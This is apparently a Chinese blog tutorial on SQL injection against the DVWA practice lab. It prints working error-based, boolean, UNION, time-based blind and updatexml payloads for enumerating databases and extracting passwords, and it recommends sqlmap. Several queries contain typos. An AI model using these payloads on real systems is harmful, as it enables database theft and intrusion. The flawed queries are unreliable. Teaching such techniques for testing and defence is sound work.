Web安全-SQL注入

一、定義
SQL Injection, 是一種常見的web安全漏洞,攻擊者利用這個漏洞,可以訪問或修改數據庫,或者利用潛在的數據庫漏洞進行攻擊。

二、SQL注入的條件

  1. 有參數的傳遞
  2. 可以控制輸入的數據
  3. 服務器要執行的代碼拼接了控制的數據:即工程師將外部的輸入直接嵌入到將要執行的SQL語句中,黑客可以利用這一點執行SQL指令來達到自己的目的。

三、SQL注入的本質
數據和代碼未分離,即數據當做了代碼來執行

四、SQL注入的危害

  1. 獲取服務器的權限
  2. 植入Webshell,獲取服務器後門
  3. 讀取服務器敏感文件
  4. 萬能密碼
    在這裏插入圖片描述

五、SQL注入流程
5. 判斷是否有SQL注入漏洞
6. 判斷操作系統、數據庫和web應用的類型
7. 獲取數據庫信息,包括管理員信息及拖庫
8. 加密信息破解,sqlmap可自動破解
9. 提升權限,獲得sql-shell、os-shell、登錄應用後臺

六、SQL語句複習

//簡單查詢示例
當前庫 dvwa  dvwa.users
select * from users;
select user_id,first_name,last_name from users;

其他庫 mysql.user
desc mysql.user
select * from mysql.user
select user,password,host from mysql.user

其他庫:wordpress.user
desc wordpress.wp_users;
select * from wordpress.wp_users;
select user_login,user_pass from wordpress.wp_users;

上面示例中desc的作用:
在這裏插入圖片描述

//條件查詢示例
select user,password,host from mysql.user where user='root'
select user,password,host from mysql.user where user='root' and host='localhost';
select user,password,host from mysql.user where user='root' or host='localhost';

select user_id,first_name,last_name from dvwa.users where first_name='yangge';
select user_id,first_name,last_name from dvwa.users where first_name='yangge' or 1=1;
select user_id,first_name,last_name from dvwa.users where first_name='admin' and 1=2;
//聯合查詢UNION
select user,password from mysql.user;
select user_login,user_pass from wordpress.wp_users;
select user,password from mysql.user union select user_login,user_pass from wordpress.wp_users;
select user,password,host from mysql.user union select user_login,user_pass from wordpress.wp_users;

這句sql語句最後執行失敗,提示信息如下圖:
在這裏插入圖片描述
由此可得,union查詢前後字段數必須相同,我們可以優化爲下面這條sql:
在這裏插入圖片描述
注意:
在上面的示例中,root加了引號就是字符串,表示查詢user字段的值等於root,如果沒有加引號就是字段名,表示user字段等於root字段,如兩表關聯查詢 tableA.user = tableB.root ,表示表A root字段的值等於表B root字段的值 ,如果是數字的話就可以不用加引號,因爲數字不能當做字段,所以這裏不會默認把數字當成字段的名稱

在這裏插入圖片描述
上圖sql示例中,where條件不存在,所以相當於union前面的句子沒有起到作用,只是生效了union後面的語句。即查詢出來的數據是union後面的sql語句得到的數據,但是字段名是union前面sql語句的字段名

思考問題:前面的查詢語句已經寫死了,如何使下面的語句執行成功呢?
mysql>select * from dvwa.users;
		->union
		->select user_login,user_pass from wordpress.wp_users;
ERROR:The used SELECT statements have a different number of columns

方法:猜字段數
mysql> select * from dvwa.users union select 1;
mysql> select * from dvwa.users union select 1,2;
mysql> select * from dvwa.users union select 1,2,3;
mysql> select * from dvwa.users union select 1,2,3,4;
mysql> select * from dvwa.users union select 1,2,3,4,5;
這裏也可以使用order by來猜字段數
如select * from dvwa.users order by 3; 表示按照第三列來排序,如果實際的列數爲m列,那麼這裏的order by小於等於m時成立,大於m時就會報錯

mysql> select * from dvwa.users union select user_login,user_pass,1,2,3,4 from wordpress.wp_users;

在這裏插入圖片描述

//獲取所有列的所有信息
select * from information_schema.columns;
//獲取所有列的名字
select columns_name from INFORMATION_SCHEMA.columns;
//獲取dvwa庫,users表的列的名字
select columns_name from INFORMATION_SCHEMA.columns where table_schema='dvwa' and table_name='user';
//獲取dvwa庫所有列的名字
select columns_name from INFORMATION_SCHEMA.columns where table_schema='dvwa';
' union select 1, version() --     得到版本
' union select 1, database() -- 得到當前數據庫名
' union select 1, table_schema from information_schema.tables --   得到庫名
' union select 1, table_name from information_schema.tables -- 得到表名

' union select 1,concat(table_schema,table_name) from information_schema.tables -- 同時得到庫名和表名
' union select 1,column_name from information_schema.columns where table_name='users' -- 得到表字段(列名)
' union select user,password from users --    得到表裏的數據

SQL語句解析過程:

FROM
	from 後面的表標識了這條語句要查詢的數據源
	fromm 過程之後形成了一張虛擬表VT1
WHERE
	WHERE 對VT1過程中生成的臨時表進行過濾,滿足where子句的列被插入到VT2
GROUP BY
	GROUP BY 會把VT2生成的表按照GROUP BY 中的列進行分組,生成VT3
HAVING
	HAVING 這個子句對VT3表中的不同分組進行過濾,滿足HAVING條件的子句被加入到VT4表中
SELECT
	SELECT這個子句對SELECT子句中的元素進行處理,生成VT5表
	-計算表達式,計算select 子句中的表達式,生成VT5-1
	-DISTINCT 尋找VT5-1表中重複的列,並刪掉,生成VT5-2
	-TOPORDER BY子句定義的結果中,篩選出符合條件的列,生成VT5-3

七、手動注入實踐
1. 基於錯誤的注入
錯誤注入的思路是通過構造特殊的sql語句,根據得到的錯誤信息,確認Sql注入點;
通過數據庫報錯信息,也可以探測到數據庫的類型和其他有用信息;
通過輸入單引號,觸發數據庫異常,通過異常日誌診斷數據庫類型;
在這裏插入圖片描述
在這裏插入圖片描述
如果我們在靶機中輸入1,就會產生下圖的結果

在這裏插入圖片描述
由此可推測,這裏的查詢語句可能爲:

select first_name,last_name from dvwa.users where user_id = 1;

那假如我們在輸入框中輸入單引號 ’ ,出現下圖的情況
在這裏插入圖片描述
以上錯誤的輸入不是爲了注入,而是爲了測試單引號是否會被過濾,是否存在漏洞
2. 基於布爾的注入
布爾邏輯注入的思路是閉合SQL語句、構造or和and邏輯語句、註釋多餘的代碼;
在這裏插入圖片描述

原始語句:
select first_name,last_name from dvwa.users where user_id = ' ';
SQL注入語句解析:' or 1=1 -- '
select first_name,last_name from dvwa.users where user_id = '  ' or 1=1  -- '  '

備註: 第一個’ 用於閉合前面的條件
or 1=1 爲真的條件
– 將註釋後面的所有語句

以上這種方式可以基於開發者的sql查到指定表指定字段的所有信息

3. 基於UNION的注入
UNION語句用於聯合前面的SELECT查詢語句,合併查詢更多信息;
一般通過錯誤和布爾注入確定注入點以後,便開始通過union語句來獲取有效信息。

//猜測數據列數
'  union select 1 -- '
'  union select 1,2 -- '
'  union select 1,2,3 -- '
'  union select 1,2,3,4 -- '
SQL注入語句解析:
select first_name,last_name from dvwa.users where user_id =' ' union select 1 -- ' ';
select first_name,last_name from dvwa.users where user_id =' ' union select 1,2 -- ' ';
//獲得當前數據庫及用戶信息
'union select version(), database() -- '
'union select user(), database() -- '
select first_name,last_name from dvwa.users where user_id =' '  union select version(),database() -- '  '
select first_name,last_name from dvwa.users where user_id =' ' union select user(), database() -- '
說明:
version() 獲取數據庫版本信息
database() 獲取當前數據庫名
user() 獲得當前用戶名

//查詢數據庫中所有表
information_schema 數據庫是MySQL自帶的,它提供了訪問數據庫元數據的方式;
元數據包括數據庫名、表名、列數據類型、訪問權限、字符集等基礎信息。

SQL注入語句解析:
select * from information_schema.TABLES\G

//查看所有庫名
'union select TABLE_SCHEMA,1 from INFORMATION_SCHEMA.tables -- ' 
select first_name,last_name from dvwa.users where user_id =' ' union select TABLE_SCHEMA,1 from INFORMATION_SCHEMA.tables -- ' 

//查看庫中所有表名
' union select table_name,1 from INFORMATION_SCHEMA.tables -- ' 
select first_name,last_name from dvwa.users where user_id ='  ' union select table_name,1 from INFORMATION_SCHEMA.tables -- ' 

//同時查詢表名及對應庫名
' union select TABLE_SCHEMA,table_name from INFORMATION_SCHEMA.tables -- ' 
select first_name,last_name from dvwa.users where user_id ='  ' union select TABLE_SCHEMA,table_name from INFORMATION_SCHEMA.tables -- ' 

在這裏插入圖片描述
在這裏插入圖片描述
union 後面語句的字段必須和前面語句的字段數一樣多,如果後面的少了,那就添加數字代替(前面提到過),如果後面多了,那就用上圖中的concat進行拼接

4. 基於時間的盲注
![在這裏插入圖片描述](https://img-blog.csdnimg.cn/20191205180458500.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzM3Nzg2MDE0,size_16,color_FFFFFF,t_70
延時型語句:sleep(參數,任意正整數,一般爲秒)
if(a,b,c) 意思就是如果條件a成立,則輸出結果b,否則輸出c
獲取數據庫長度
語句示例:?id=2’ and if(length(database())>8,sleep(5),1) --+,如果database()的長度大於等於8就sleep 5秒,否則輸出1
獲取數據庫的名字
?id=2’ and if(substr(database(),1,1)=‘a’,sleep(5),1) --+
substr(string string, int a, int b):string爲需要解除的字符串,a 截取字符串的開始位置(注:當a等於0或1時,都是從第一位開始截取),b 要截取的字符串的長度。

參考鏈接:https://blog.csdn.net/SouthWind0/article/details/82926845

5. 報錯注入
函數解釋:
extractvalue():從目標XML中返回所查詢值的字符串
EXTRACTVALUE (XML_document,XPath_string);
第一個參數:XML_document是String格式,爲XML文檔對象的名稱,中文爲Doc
第二個參數:XPath_string (Xpath格式的字符串)
concat:返回結果爲連接參數產生的字符串

**UPDATEXML   (XML_document,XPath_string,new_value);**
第一個參數:XML_document是string格式,爲XML文檔對象的名稱,中文爲Doc
第二個參數:XPath_string(Xpath格式的字符串)
第三個參數:new_value,string格式,替換查找到的符合條件的數據。

在這裏插入圖片描述

updatexml(1,concat(0x5e,version(),0x5e),1) 這是報錯注入的一個固定格式,把需要查詢的內容替換掉version()即可,也可以用select語句替換,這裏0x5e代表^符號,最後查出來的內容都在在兩個 ^ 裏面。但是如果查出來的數據太長這裏會展示不全,所以這裏需要進行字符串的截取
updatexml(1,concat(0x5e,substr((select password from users),1,16),0x5e),1)
先展示前面1-16位,然後再查出後面17-34位,再自己進行拼接

八、sqlmap自動化注入
SQL注入比較好用的工具就是SQLmap,這是一個國內外著名的安全穩定性測試工具,可以永凱進行自動化檢測,利用SQL注入漏洞,獲取數據庫服務器的權限。它具有功能強大的檢測引擎,針對各種不同類型數據庫的安全穩定性測試的功能選項,包括獲取數據庫中存儲的數據,訪問操作系統文件甚至外帶數據連接的方式執行操作系統命令。


在這裏插入圖片描述
在這裏插入圖片描述
在這裏插入圖片描述
sqlmap學習參考鏈接:https://blog.csdn.net/bylfsj/article/details/101218344

https://www.freebuf.com/sectool/164608.html

SQL注入視頻學習鏈接:https://www.bilibili.com/video/av77851975?p=4

SQL注入實戰例子(轉):
https://blog.csdn.net/weixin_43915762/article/details/87909751
https://blog.csdn.net/weixin_43915762/article/details/86995158
https://blog.csdn.net/weixin_43915762/article/details/87036552

sql-lib通關:
https://blog.csdn.net/tianjin_ren/article/details/89945501?depth_1-utm_source=distribute.pc_relevant.none-task&utm_source=distribute.pc_relevant.none-task

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章